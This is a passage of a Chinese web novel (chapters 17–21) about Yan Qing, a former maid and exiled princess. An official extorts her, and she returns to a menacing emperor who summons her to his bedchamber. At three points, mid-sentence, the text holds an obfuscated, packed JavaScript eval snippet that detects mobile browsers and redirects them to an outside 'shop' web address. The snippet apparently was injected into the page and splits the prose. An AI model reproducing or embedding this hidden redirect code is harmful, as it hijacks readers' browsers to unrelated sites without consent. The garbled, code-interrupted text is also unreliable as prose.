“是一百两。” 郑远开口打断了言卿的话,一同斩断的还有言卿的希望。 “什么?” 她简直不敢相信自己的耳朵,多少?自己是听错了吗? “一百两——” 似乎很是满意言卿现在的表情,郑远又微微提高音量,慢悠悠的重复了一遍。 “若是想和本官私了,起码要拿出诚意吧。” “这......” 见眼前的女人支支吾吾的,郑远得意的说道。 “一百两白银,本官三天之后派人来取,若是拿不出这笔钱,要么你出现在本官的府中,要么你家的野小子出现在衙门。” 郑远说着,背着手臂转身,得意洋洋的离开了后院。 而言卿则定定的站在原地,不知该如何是好。 一百两白银,那是绝无可能的,先不说普通人一辈子能不能有一百两白银,即使自己当时在宫中当贴身宫女,一个月的工钱不过也才十两白银。 如今找到的工作一天也不过几十文钱,要在三天内拿出一百两白银完全是痴人说梦。 但自己不能让昊儿去衙门,那自己又能怎么办呢?去当那头猪的小妾? 绝望再一次席卷了言卿全身,比皇宫那时更甚,她就这样定定的站在原地,久久无法动弹。 “言卿?原来你在这里。” 不知过了过久,后院的门突然被打开了,言卿懵懵的抬头看去,是柳辰良。 “我找了你好久,这是新到的茶叶......天哪!” 当柳辰良看见言卿的脸时,整个人的神色大变,手里抱着的茶筐被丢在了地上,立刻大步跑了过去。 “怎么会这样!该死,这是谁干得!” 言卿从未见过柳辰良如此生气,一时间疑惑他为何要这样。 直到对方冰凉的手触碰到自己的脸颊。 “嘶——” 一瞬间痛感瞬间袭来,言卿这才反应过来自己方才被打了,脸颊顿时感觉火辣辣的。 “必须先上药。” 柳辰良拉着言卿进屋,焦急地询问方才发生的事情。 言卿讲述了大致发生的事情,柳辰良的表情愈发愤怒,语气中充满了愤怒。 “该死的,我们该将这种人告上衙门。” “唉,若真能那样就好了。” 言卿自嘲地笑了笑,她现在真的好累,好累...... 柳辰良快速的给言卿上了药,并拿来的了冰块试图消肿,随即在屋子里来回踱步。 因为他也听闻了一百两白银的事情,此时正绞尽脑汁的想办法。 “我明日去问问街坊,我和几家老板关系不错,或许他们可以先接济我们一些。” “柳先生......” “我这还有些钱,您就全拿去,别担心,会解决的。” “柳先生......” “我再去找找别的活,看看能不能将工钱预付给我。” “柳先生!” 言卿稍微提高音量,打断了一直在碎碎念的柳辰良,后者终于从新看向了她。 言卿眨了眨眼睛,定定的看着柳辰良,虚弱的话语中带着一丝坚定。 “昊儿和爷爷,麻烦您照顾了。” 18. 第 18 章 “什么?言卿你在说什么啊!你不会真要去当那种人的小妾吧!” 柳辰良的表情又变得惊慌起来,尤其是当他发现言卿的表情不像是开玩笑之后。 “冷静一些,一定还有其他办法,我们一起想一想!” 这是言卿第一次见到柳辰良表现出如此剧烈的情绪波动,明明两人只是雇佣关系,但他就像对待家人一样设身处地地为自己想办法。 如果面前的是昊儿或者爷爷,想必都会和柳辰良有一样的反应。 言卿不禁鼻子一酸,但还是拍了拍柳辰良的手,开口安抚道。 “柳先生,是您要冷静一些,我绝不会去当小妾。” “那为何?” 柳辰良疑惑的问道,因为言卿方才的话语就像是在交代后事一样。 “就是字面意思,钱的事情我会想办法解决,这期间就麻烦您照顾一下他们了。” “但那可是整整一百两白银啊,你......” 柳辰良的语气中充满了不敢相信,他觉得言卿所说的话只不过是为了不让自己牵扯进来而已。 因为三天内拿到一百两白银是不可能的事情。 他十分害怕言卿做出什么极端的事情,或许她现在不够冷静。 但当他对上言卿坚定的眼神时,柳辰良不自觉地将其他质疑的话语咽了回去,最后只能轻声叮嘱道。 “不要逞强......” “我一会要出趟门,爷爷和昊儿就麻烦您了。” 言卿淡淡的说道,视线不自觉地移向窗外,随后自嘲地笑了一下。 坦白地说,自己现在的想法很疯狂,连她自己都感到十分荒唐和可笑。 此时此刻摆在自己面前的,一条是死路,一条是万丈深渊。 面前焦急的柳辰良,在房间里年幼的昊儿,以及卧床不起的爷爷,言卿叹了口气,或许安稳幸福的日子本来就是一个奢望罢了。 —— 正午时分,言卿收拾了东西,将茶楼里的事情都交代好,昊儿疑惑地询问她的去处。 而言卿只是笑了笑告诉他自己只是去工作,让他在家里乖乖听话,随后便匆忙赶往了皇宫。 一路上,言卿的心情十分复杂,虽然自己实在是不想再回到那个骇人的地方,面对那个男人。 但老实说,或许那个男人也是和自己一样的想法,他根本就不希望再见到自己,一个傲慢的,出言不逊的婢女。 别说同意自己回到皇宫了,他会不会在见到自己的第一眼就砍掉自己的脑袋? 言卿承认,她在赌,赌那仅有一丝的可能性。 “站住,你是何人?” 言卿通过洗衣房的偏门进入了宫中,但到了乾清宫就没那么好运了。 “我是宫中的侍女,有要事觐见皇上。” “笑话,即使是宫中重臣,要觐见皇上也得提前通报,而且我都没见过你,赶紧走吧。” 门口的两个侍卫打了个哈欠,随意地摆了摆手,很明显不想搭理言卿。 “我真的有很要紧的事情,请二位大人通融一下!” 言卿有些急了,自己总不能还没见到皇上就被赶走吧? “什么通融?你一个宫女,有什么资格见皇上?赶紧滚!” 那侍卫见言卿不依不饶,也逐渐烦躁了起来,声音提高了几分,语气里满是不耐烦。 “快点,不然压你进大牢!” 说着还挥舞了两下手里的武器。 “......是。” 言卿抿了抿嘴,眉头深深的皱了起来。 看来此路不通了。 算了,想别的办法吧,自己可以在门口呆着,那个男人总会出来,自己今天必须见到他。 于是言卿转身准备离开。 “请留步。” 身后突然传来了一道有些尖锐的声音,言卿下意识回头看去,只见一位太监不知何时出现在门口。 言卿仔细打量了一下,自己好像见过他,在纪玄逸身边。 “啊,见过刘公公。” 方才还在言卿身边耀武扬威的侍卫,一见到那位太监便恭敬地行礼,可见他不是一般的太监,或许是总管之类的。 刘公公微微点头,目光轻轻地落到言卿身上,像言卿打量他一样瞧着言卿。 他刚才应该是让自己留步吧? 言卿有些尴尬地站在原地,或许他记得自己,亦或许不记得,仅仅是将自己当成了不懂礼数的宫女准备处罚。 好在,结果是前者,刘公公只是看了一会儿,随后嘴角便挂上了温和的笑容,对着言卿点了点头。 “言小姐,这边请。” “哦......好。” 完全出乎自己的意料,言卿回过神来应了一声,随后匆忙的跟上了刘公公的脚步。 在路过方才那两位侍卫之时,言卿悄悄的瞥了两人一眼,只见他们的头低低的,满脸的不敢置信,以及一丝恐惧。 那份恐惧来源于何处? 言卿收回视线,再次踏入了这个让自己受尽屈辱的,不想回忆的地方。 这次,真的无法回头了。 “皇上在和朝臣商议要事,请言小姐先在此处稍等片刻。” 太监将言卿带到了屋中,示意她坐在椅子上等待,还命一旁的宫女给她沏好了茶。 这让言卿一时间有些受宠若惊,就算自己还是皇上的贴身侍女,作为太监总管,眼前的这位公公完全不需要如此客气的对待自己。 更何况现在自己只是一介普通的百姓罢了。 “公公,我在偏殿等着就好,您不必如此......” 言卿认为,他或许是出于怜悯才如此对待自己,于是摆摆手,她担心若是纪玄逸看到这一幕,怕不是会怪罪这位好心的公公。 面对言卿的话,刘公公只是笑而不语,一脸和善的看着言卿。 这个宫里的所有人都很奇怪,言卿无法从任何人的表情中看出任何事情。 “言小姐,咱家是看着皇上长大的。” “什么?” 过了许久,刘公公突然开口说道,让言卿更加摸不着头脑,完全是前后不搭的话语。 但这次刘公公彻底没有理会言卿的疑问,只是缓缓看了眼窗外,轻声开口道。 “咱家还有事情,就先离开了,言小姐请自便。” 刘公公说着,默默离开了屋子,一旁的侍女也一同离去,屋内顿时只剩下言卿一人。 突然袭来的沉寂,紧闭的房门让言卿不由得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995077|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧张起来。 她开始有些焦躁的环视着屋子,里面的布景十分华丽,一看就是平日招待贵客的地方,穿着朴素的自己与这里显得格格不入。 屋内充斥着言卿熟悉的龙涎香,让她握着裙摆的手不由得收紧,一时间,一些不好的回忆涌上心头。 自己的选择真的是对的吗?如果这次真的被杀了怎么办?那一切就彻底结束了。 自己太冲动了,她是否应该听柳辰良的话,再想想其他办法? 但昊儿满脸泪水的小脸让言卿心急,郑侍郎那满脸横肉的丑恶嘴脸在她脑海中挥之不去,脸上火辣的感觉依旧。 “呕——” 一想到早上在后院的事情,言卿就忍不住干呕起来。 啊......要是那样的话,或许死的痛快一点也好...... “哒哒——” 在言卿沉浸在混乱的思绪中时,门外突然传来了动静。 有人来了。 言卿猛地一惊,急忙起身,那脚步声听着十分急促,不断地靠近这间屋子,随后在门口停了下来,随着纱窗被巨大的阴影所笼罩,言卿的心脏顿时提到了嗓子眼。 等等,要说些什么,自己该怎么做,言卿急促的呼吸着,她现在才意识到自己似乎完全没有做好准备。 “啪——” 完全没有思考的时间,言卿的大脑一片空白,就在她试图组织思绪的时候,大门被猛地推开。 言卿下意识地抬头看去,瞬间撞进了那熟悉的,深不见底的漆黑眼眸,整个人僵在了原地。 又见面了,那个给自己带来无尽羞辱的男人。 好在言卿的反应比思绪更快,还没等门口的男人开口,她立刻“扑通”一下跪地行礼。速度之快,她甚至没有看清男人脸上的表情。 “奴婢见过皇上!” “......” 言卿将头埋得低低的,但并没有得到回应,纪玄逸的沉默让她感到焦急,于是她慌乱的开口道。 “奴婢知道这十分无礼,奴婢为之前的事情道歉,奴婢愿意做任何事!” 啊,怎么样都无所谓了,和郑尚书比起来,自己之前的遭遇似乎根本不值一提,于是言卿继续将头低下,不断的开口请求。 “所以,恳请皇上......呜!” 话未说完,下巴上突如其来的力道将言卿准备低下的头强行抬了起来。 被迫抬头的言卿瞪大了眼睛,方才还在门口站着的男人不知何时已经来到了自己面前,此时此刻正蹲在自己面前进行着强制性的对视。 近距离接触后,言卿依旧无法从纪玄逸深邃的眸子中得出任何情感。 他是否生气?是否鄙夷?亦或是觉得自己可笑至极? 言卿急促的呼吸着,不由得咽了口唾沫,会死吗?自己。 言卿的脑子中闪过无数种思绪,但纪玄逸始终一言不发,只是定定的看着言卿。 随后,言卿感觉抓着自己下巴的手微微用力,指腹缓缓移向自己的左脸颊。 “嘶——” 言卿吃痛,下意识的向后躲闪,但下巴上的力度让她无法移动,只能将眉头深深皱起,随后耳边立刻响起了一道无比低沉的声音。 “脸,怎么了?” 19. 第 19 章 纪玄逸说着,用指腹不重不轻的摩挲着言卿的脸颊。 “!” 脸上顿时传来火辣辣的感觉,那是被郑侍郎扇巴掌的地方。 虽然柳先生已经给自己上药了,但那里却依旧红肿,言卿出门前用粉黛盖了一下,本以为可以遮盖大部分,但未曾想还是被发现了。 言卿一时间说不出话,因为纪玄逸的眉头皱了起来,看上去有些不耐烦。 “是,是不小心撞伤的,过些日子就会痊愈。” 言卿心虚又慌张的躲开纪玄逸的手,随后将头低了下去。 她当然知道纪玄逸为何不悦。 宫女虽不用国色天香,但面部有缺陷的人却是绝对不行,皇上身边更是如此,脸上的伤被发现,无疑让言卿的希望变得更加渺茫。 “......” 感觉到头顶的压迫感消失,低沉的声音从身后传来。 “看来你还真把皇宫当成你的后花园了,想来就来,想走就走。” 言卿这才抬起头看了过去,只见纪玄逸已经靠坐在了屋内的椅子上,居高临下的看着自己。 即使几日未见,眼前的男人依旧是那么难以触及,即使只是坐在那里什么都不说,压迫感也依旧让人直不起身子,这就是天子。 自己真的可以说服他吗? “这,这并非奴婢本意,奴婢此次是有事恳求皇上......” 言卿缓缓直起身子,迫切地开口道。 “你以为,你有资格和朕提要求?” 面对言卿的请求,纪玄逸不慌不忙地歪了下头,随手拿起桌上的茶杯送到嘴边,动作随意松散,让人难以揣测他的情绪,言卿见状一惊,因为纪玄逸拿的分明是自己的茶杯。 他分明不知情,但言卿不能开口提醒,那样只会让对方更加生气,于是她再次低下了头。 “不是要求,是请求,请皇上准许奴婢回到皇宫做事。” 拜托了,只要这样就好,言卿说完,几乎是屏气凝神的等待着结果。 “真奇怪,朕记得前些日子好像给过你机会了。” 纪玄逸闻言,嘴角勾起一丝轻蔑的弧度,就好像在嘲讽那日言卿愚笨的抉择。 “被毫不留情的拒绝了。” “......” “真是让朕刮目相看,原本朕还以为,或许你真的还保留着那可笑的尊严,让朕很是佩服。” “那是......” “现在看来,是彻底将它抛弃了才对,可真是让朕失望。” 随他怎么说都行,没关系的,这种侮辱完全不算什么,言卿深吸一口气,垂下眼眸。 “是奴婢愚笨,恳请皇上再给奴婢一次机会,因为奴婢家中......” “朕可没时间听你说那无聊的故事。” 言卿刚想开口解释,却立刻被纪玄逸无情地打断了,言卿顿时僵在原地,思绪顿时混乱起来。 完了,这下看上去是没得谈了。 言卿小心翼翼地抬头,试图从男人的表情中读出一些情绪,但她依旧什么都看不出来,于是只能不知所措的站在原地。 或许自己应该冒着被砍头的风险继续请求纪玄逸,难道只能到此为止了吗? 眼看言卿的希望即将破灭,只见靠坐在椅子上的纪玄逸突然起身,不紧不慢的朝她走来。 随后在言卿震惊的目光中,纪玄逸的右手又缓缓抚上了言卿的脸颊,动作比方才要更加轻柔,但更加让言卿毛骨悚然。 纪玄逸靠的十分之近,庞大的身躯几乎将言卿完全覆盖,他没有说话,只是保持着这个姿势,一直到言卿的鼻腔中充满浓烈的龙涎香。 “皇上......” 言卿终于受不了这别扭的氛围,抬手试图打断纪玄逸的行为,但男人却顺势抓住了她的手,低头缓缓靠近她的脸。 “既然皇上拒绝我的请求,请让我回去!” 从来没有如此近距离接触男人,言卿瞬间变得害怕,慌张的推搡着纪玄逸,但无论怎样,后者都不为所动。 男人的呼出的气均匀的铺洒在言卿的脖颈上,随后耳边响起了一道低沉的声音。 “晚上来朕的寝宫,朕慢慢听你说。” 说罢,纪玄逸立刻放开了言卿,随即头也不回的离开了屋子。 “啪——” 随着大门关闭的声音在身后响起,言卿一下子瘫坐在了地上。 方才发生的一切就像是一场梦一样,若不是房间内还残留着令人生畏的气息,言卿甚至怀疑自己是否处于现实。 言卿深吸了几口气,用手撑着椅子的扶手站了起来,开始思索纪玄逸方才留下的话。 但其实也没什么好思考的,那句话实在是过于直白,即使是未及笄的少女也该知道是什么意思。 但是为什么? 即使自己十分厌恶他,但从纪玄逸的视角看不也是一样吗? 自己在他眼里,不过是一个不知天高地厚的下人罢了,要说他对自己有特殊的感情,那是绝对不可能的事情。 身为天子,只要今日一声令下,第二天后宫就会立刻人满为患,更别提还有像张思柔那样的绝代美人。 言卿的意思是,纪玄逸完全不需要在意像自己这样的身份卑微的婢女,两人真若发生了男女之事,相较自己,身为皇上的纪玄逸才是更不值当的。 况且纪玄逸也十分厌恶和唾弃自己,不是吗? 言卿始终认为,纪玄逸通过侮辱自己取乐,就像是猛虎不会第一时间杀掉猎物而是先玩弄它们一样。 由此,言卿几乎得到了一个肯定的答案——纪玄逸并非对她的身体感兴趣,而是享受自己崩溃的样子。 这样一想,言卿反而松了口气,那样是最好的,这样最好...... 她的反抗是纪玄逸最希望看到的事情,只要保持顺从的模样,想必对方很快就会失去兴趣。 “咚咚——” 大门再一次被敲响了,言卿抬头看去,只见刘公公再一次出现在门口。 “言小姐,咱家打扰了。” 还没等言卿反应过来,从门口突然涌进好几位侍女,每个人手里都端着不同的上等菜肴,齐刷刷的摆放在了言卿面前。 “刘公公,这是?” “到用膳的时间了,言小姐不必客气。” “但这也......”太夸张了。 言卿大概扫了一眼面前的菜肴,每一道毫无疑问都是御用的水准,有些菜肴甚至是自己在平沙国都未曾见过的。 自己又不是什么皇亲国戚,如此山珍海味是否有些太过于丰盛了,难道,是断头饭吗? “是皇上的意思,皇上还特地叮嘱让言小姐多吃些,所以不必拘束。” “......好的,谢谢您。” 言卿转过头,有些犹豫的拿起筷子,纪玄逸这又是整哪出? 算了,反正自己现在也饿了,若真的是断头饭,自己也得当个饱死鬼才行。 如此想着,言卿也不再拘束。 —— 经过一阵风卷残云,言卿的肚子已经装不下任何东西了,正当她准备结束放下筷子的时候,一转头便对上了刘公公带着几分慈祥的笑脸。 言卿的脸顿时红了起来,有哪家女子像自己这般没有吃相,于是她有些心虚的避开了视线。 “那么咱家就先退下了,言小姐可以在这宫内随意转转,待晚上咱家会派人接您去寝宫。” 刘公公示意侍女们将桌子收拾干净,随后自己退身出门。 “......好的。” 屋内再一次回归了寂静,即使心中已经有了推测,但言卿对于未知的夜晚依旧有些害怕。 “出去转转吧。” 于是言卿整理好了心情,推门而出,或许散步可以缓解自己焦躁的心情。 当言卿走出乾清宫大门的时候,注意到门两侧对自己行礼的侍卫。 并非方才阻拦她的两人,完全换了新面孔。 ‘是换班吗?’ 言卿只是看了一眼,并未多想,随意嘀咕着便离开了。 言卿也不知道自己要去那里,只是凭借着记忆中的路线随意走着,不知不觉几片花丛逐渐映入眼帘,言卿意识到,自己似乎是走到了御花园。 现在已经是盛夏时节,比起自己第一次来这里,御花园的景色又美了几分。 如果现在不是更重要的事要做,言卿真想好好逛一逛这里,可惜,现在自己没那个心情。 而且说实话,自己对于御花园的记忆也不是那么美好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17019221|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯?” 而就在言卿转身准备离开的时候,余光忽然在花园深处发现一个熟悉的身影,于是她开口喊道。 “肖将军?” 那人影本来几乎将身体淹没在花丛中了,听到有人叫他便猛的直起了身子,看向声音的来源,待看清来人后立刻露出了笑容。 “言小姐,你怎么在这?” 肖风说着,拍了拍身上的泥土,朝言卿大步走来。 “我在宫中随意走走,没想到会在这里见到您。” 作为皇上的贴身侍卫,肖风应该寸步不离的待在纪玄逸身边才对,但他却独自出现在御花园。 莫非纪玄逸就在这附近? 言卿一惊,下意识地环顾四周,好在下一秒肖风就打消了她的担心。 “唉,皇上出去狩猎了,说不需要我跟着,我无事可做就来御花园采花。” “采花?” 言卿疑惑的歪头,肖风说的这两件事情完全没有地关联。 而且为什么要将花摘走,身为御前侍卫,直接去御花园欣赏不是更快吗?于是言卿带着猜测地问道。 “您是要送给谁吗?” 看上去言卿猜中了,一提到送人,肖风的神情立刻变得有些慌张,耳垂若隐若现的红了起来,有些结巴的开口道。 “咳咳,就是随便看看,言小姐你看,大家都喜欢花对吧,看到花就会心情愉快对吧,所以我就也来看看。” “哈哈,需要我帮您吗?” 言卿捂着嘴轻笑一声,看上去还是初期,于是她识相的没有追问。 “不不不,不用,我不是要送人,就是自己看看,哈哈。” 言卿看着眼前疯狂摆手的肖风,脸上的笑意愈发强烈。 虽然接触不多,但她十分欣赏肖风的性格。 那种浑然天成的亲切感,不夹杂任何男女情感,每一个和他交谈的人都会感到放松和亲切。 看上去像从小在爱里面长大的少爷,但性格大大咧咧,没有一点架子,对待任何事情都十分乐观,就像是几年前的自己那般。 “对了,言小姐,这些天你去哪了,我好久没见到你了。” 肖风见大事不妙,立刻转移了话题,而这也是他好奇的事情。 “就......家里出了点事情,我之后应该会一直呆在宫中。” 言卿闻言,缓缓收起了笑容,眼神有点恍惚,事实上,自己也不确定事情会如何发生。 肖风脸上的慌张也逐渐褪去,取而代之是明显的担忧。 “一直?那家里的事情怎么办?” “会处理好的。” “唉,有什么我可以帮忙的吗?” 肖风的表情看上去十分惋惜,能看得出是真的想帮助言卿,或许向他借钱可以成功。 但面对肖风的好意,言卿只是摇了摇头,开口道。 “不是什么大事,我能处理好,肖将军不必担心。” 并非是拒绝肖风的好意,只是在这深宫中,只有一个人拥有绝对的话语权。 而眼前好心的肖风,可能会因为帮助了自己而受到处罚,因为他不清楚纪玄逸与自己的关系。 那是自己的家事,没必要将无辜的人牵扯进来...... “对了,言小姐见过皇上了吗?” “嗯,方才见到了。” “是不是很吓人。” 面对肖风突然的无厘头的问题,言卿有些疑惑,但她随即回忆了一下方才屋子里发生的事情,于是猛地点了点头,确实很吓人。 “是吧,皇上最近的心情十分之差,每次上朝的时候我都以为进了坟场,大臣们都苦不堪言,连我和颜睿都挨了不少骂。” 说到这里,肖风止不住的叹气,让人不禁脑补出他之前恐怖的遭遇。 其实纪玄逸还处死了不少看不顺眼的大臣,但肖风怕吓到言卿便没有说出口。 “真是阴晴不定......” 完全大不敬的话语,被皇上知道绝对是要杀头的大罪,原本言卿也只敢在心里想一想,但这次却不知为何发出了声。 就像是受到了惊吓一般,言卿一下子捂住了嘴,下意识的看向了肖风。 “嗯?” 这位御前侍卫,对于自己不敬的话,会作何反应? 20. 第 20 章 “呜......阴晴不定吗?” 只见肖风用手摸了摸下巴,随后露出有些为难的表情。 “我倒不这么认为,从我们认识开始皇上就是那样的性格了,只是最近不知为何老是生气。” “唉,肖将军,你和皇上认识很久了吗?” 对于肖风的话,言卿有点惊讶,一是肖风居然没有因为自己无礼的话而呵斥她,二是居然有人能忍受纪玄逸那种人这么长时间。 “嗯,从小就认识了,顺便一提,我的家族可是世世代代都担任御前侍卫的职位哦。” “好厉害。” 肖风不光是将军,同时也担任御前侍卫一职,自纪玄逸登基后,科举体系逐渐被完善,许多重大官职全靠科举胜任,肖风也并非是因家族关系上位,而是实打实的武状元。 “如果你好奇的话,我可以和你讲讲皇上以前的故事,当然......” 肖风说着,突然回头四处观察,随后压低音量悄悄说道:“千万不能让皇上知道。” “我......” 言卿下意识摇头拒绝,但老实说,她其实也有点好奇纪玄逸的过去,他到底经历过什么才会拥有现在这么糟糕的性格,他小时候就喜欢刁难人吗? “如果可以的话。” “你好奇吗,那这边来,我们坐着聊。” 肖风似乎也是聊开心了,招呼言卿去花园深处的亭子。 反正现在距离晚上的时间还早,言卿现在也无事可干,不如听听故事。 但,言卿想错了。 还没等两人坐下,御花园门口又出现了一道熟悉的身影——是刘公公。 “咱家见过肖将军。” “刘公公,您怎么来了,皇上这么早就回来了吗?” 肖风有些疑惑地问道,现在太阳都还没下山,按照皇上的习惯,每次狩猎都要等到天黑后才会回来,那刘公公为何现在来找自己。 “皇上还未回宫,咱家是来找言小姐的。” 刘公公恭敬地说道,随后将视线移向一旁的言卿。 “在皇上回宫之前,咱家要先带言小姐去收拾一番。” 言卿眨了眨眼睛,随后立刻明白了刘公公的意思。 去皇上的寝宫可不是小事,身为太监总管,必然不会让任何意外发生。 想必这是必要的流程,于是言卿没有多想,转身对着肖风说道。 “看来只能下次再聊了,今日我就先告辞了。” “哦......好。” 肖风很明显还没有搞清楚状况,看了看言卿,又看了看刘公公,懵懵的点点头。 一直到两人消失在他的视线后,肖风都没有想明白——皇上回宫,为什么言卿要收拾? —— “言小姐,接下来跟着这些侍女就好。” 刘公公将言卿带到一个屋中,里面定定的站着几位侍女,鼻尖依稀能闻到上等的花香气息,情况与言卿想的有些不同。 “刘公公,请问这是?” “也是皇上的意思,言小姐有什么需求告诉她们便可。” “......” 刘公公走后,言卿转身看着眼前恭敬的侍女们,心瞬间沉了下去。 这是自己最担心的事情。 按照言卿的推测,纪玄逸对自己的身体没兴趣,让自己晚上去寝宫也不过是吓唬她而已。 既然如此,为何多此一举? 在言卿呆在原地深思时,为首的侍女上前一步,声音恭敬地说道。 “言小姐,请随奴婢们来。” 言卿没说话,只是默默点头,随即跟着她们走进屋中,随着大门的关闭,侍女们无声地动了起来。 一人解开言卿的衣裳,将她带入浴池,水面上漂浮着大片的玫瑰花瓣,鼻尖的清香让言卿不自觉地放松下来。 一旁的侍女细心地帮她擦拭身体,用温热的湿帕替她净面,又在她脸上抹了层细腻的膏子。 又过了一些时辰,侍女将言卿扶了出来,上前为她擦拭身体,所有动作言卿都极其配合,这些事情她早已习惯,在她还是公主的时候...... 随后侍女捧来叠好的衣裙,在言卿的注视下缓缓展开,即使款式普通,但一看就是极其上乘的料子。 一时间言卿有些移不开眼,曾几何时,自己也十分喜爱这些华丽的东西。 可惜的是,在平沙国,那是只有皇后才有资格使用的品质,身为最年幼公主的她并没有拥有它们的资格。 言卿瞥了眼被放在一旁的自己的旧衣裳,此刻是显得那么破旧不堪。 一直到感到冰冷的簪钗插进发间,言卿才逐渐回过神来。 妆扮停当,侍女们缓缓退开。 言卿有些恍惚地望着镜中的人影,毫无疑问是一位亭亭玉立的美人,当然,前提是忽略脸上的红肿。 满身华贵的珠宝,以及华丽的衣裳,这一切都让言卿感到陌生又熟悉。 “言小姐,这边请。” 为首的侍女将言卿带到乾清宫的后殿,一路上侍卫森严,路过的人无不向言卿投来好奇而又隐晦的目光。 而言卿的心情逐渐变得忐忑,太阳已经逐渐落下了,皇上什么时候会回来? “就是这了,言小姐您在里面稍作等候便可。” “那个,皇上什么时候回来?” 在那侍女要走之际,言卿开口叫住了她,这种等待对于她来说实在太过于煎熬。 “奴婢不知,或许很快,或许很久,还有......” 那侍女的目光沉下了几分,看向言卿的视线似乎多了几分沉思和同情,随后轻身叮嘱道。 “不要顶撞皇上。” 言卿第一次被纪玄逸叫进书房的时候,刘公公也对她说了这句话。 而正因为这句话,此时此刻,言卿再一次清楚了自己的处境。 是的,无论自己的猜测正确与否都无所谓,自己必须要从那个男人的手中拿到银子才行,无论什么她都会忍受...... 不知在屋内坐了多久,太阳已经完全落山了,睡意逐渐取代了言卿忐忑的心情。 “呼——” 就在言卿即将靠在椅子上合上眼睛之际,猛地坐起身拍拍自己的脸。 不行不行,可不能在这里睡着,于是言卿起身开始在屋里闲逛。 其实言卿现在还有些恍惚,自己居然在当朝皇帝的寝宫,自己以前甚至没有去过父皇的寝宫。 早在她到来之前,寝宫里就点好了香薰,许是因为这个原因,言卿才能在这个危险的地方放松下来。 殿内的陈设以黑色为主,没有多余的摆设,显得极其清冷沉静,和纪玄逸给人的感觉一模一样,在言卿眼里显得格外压抑。 “应该早就该回来了才是。” 肖风说纪玄逸去狩猎了,现在天黑了,已经看不清猎物了,为什么还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17049695|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不见人影呢。 反正迟早都要面对,还不如直接来个痛快。 “咚咚——” 真是说曹操曹操到,言卿话音刚落,门口就传来一阵令人心惊的脚步声,比早上的更加沉闷且从容。 ‘来吧。’ 言卿站在屋中,就像是一位视死如归的战士一般面对着大门,而敌人,就是站在门口的那个人。 “砰——” 大门被猛地推开,熟悉的男人此刻又站在了自己面前,即使提前做好了心理准备,但言卿的心脏还是瞬间跳到了嗓子眼。 不是因为害怕眼前的男人,而是因为眼前的景象。 纪玄逸推开了大门,但并未着急进屋,此时正一只手扶着门框,定定的盯着屋内的言卿,而后者现在大气都不敢喘。 此时的纪玄逸,满身的鲜血,右手拎着一把沾满血迹的长剑,加上那毫无波澜的眼睛,在言卿眼里是活脱脱一副厉鬼的样子。 她从未见过如此血腥的场景。 肖风所说的狩猎,看上去并不是自己想的那般简单。 “嗬!” 言卿瞪大了双眼,急忙抬起双手捂住嘴,防止自己尖叫出声,因为眼前的男人开始逐渐靠近自己,并且毫不掩饰眼中的侵略。 与白天的样子完全相反,眼前的男人就好像变成了另外的人,而言卿的恐惧也完全出于求生的本能。 随着两人距离的缩短,言卿闻到的血腥味也愈发浓烈,几乎让她干呕,她试图让自己镇定下来,但完全控制不住颤抖的双手。 男人走过的地方无不沾染上鲜血,方才还整洁的屋子立刻变得污秽不堪。 言卿的视线不自觉的移向男人手中的剑,现在还在不断的滴血,自己会变成他的下一个猎物吗? “叮——” 在言卿恐惧的眼神中,男人将手中的剑随手扔到一边,铁器与地板碰撞发出清脆的声响,让言卿的心脏跟着颤抖。 一直到男人站定在言卿面前,浓烈的血腥味充满了她的整个鼻腔,言卿终于再也承受不住压力,双腿一软跪倒在地上。 但预想中冰冷的感觉并没有袭来,言卿回神一看,纪玄逸此时正紧紧的抓着自己的双臂,也正因此言卿才没有摔倒在地板上。 但...... 现在的情况还不如直接晕倒得了。 “谢,谢皇上......” 言卿用颤颤巍巍的声音说道,事实上,不光是她的声音,她整个身体都在不自觉地发抖。 面前的男人没有说话,言卿也不敢轻举妄动,她甚至不敢直视对方,但言卿依旧能感受到头顶那炙热的目光,仿佛要将自己看穿一般。 比以往的任何时候都要可怕,言卿第一次直观地感受到,眼前的男人为何被称为暴君,以及顶撞他的自己是多么的不知死活。 双臂被牢牢抓住,言卿无法动弹,只能默默的将头移开,没一会,面前的男人缓缓发出低沉的声音,语气中察觉不到情绪。 “你好像很害怕。” 是个人都能看出言卿有多害怕,但言卿还是硬着头皮摇头。 “......” 纪玄逸沉默的盯着言卿,随后猛地放开她的胳膊,失去了支撑,言卿踉跄了一下,但好在她扶住了一旁的柱子。 只见纪玄逸转身走到桌前,随手将外袍脱下扔到一旁,随后转身看向言卿,眉头微蹙。 “过来更衣,朕要沐浴。” 21. 第 21 章 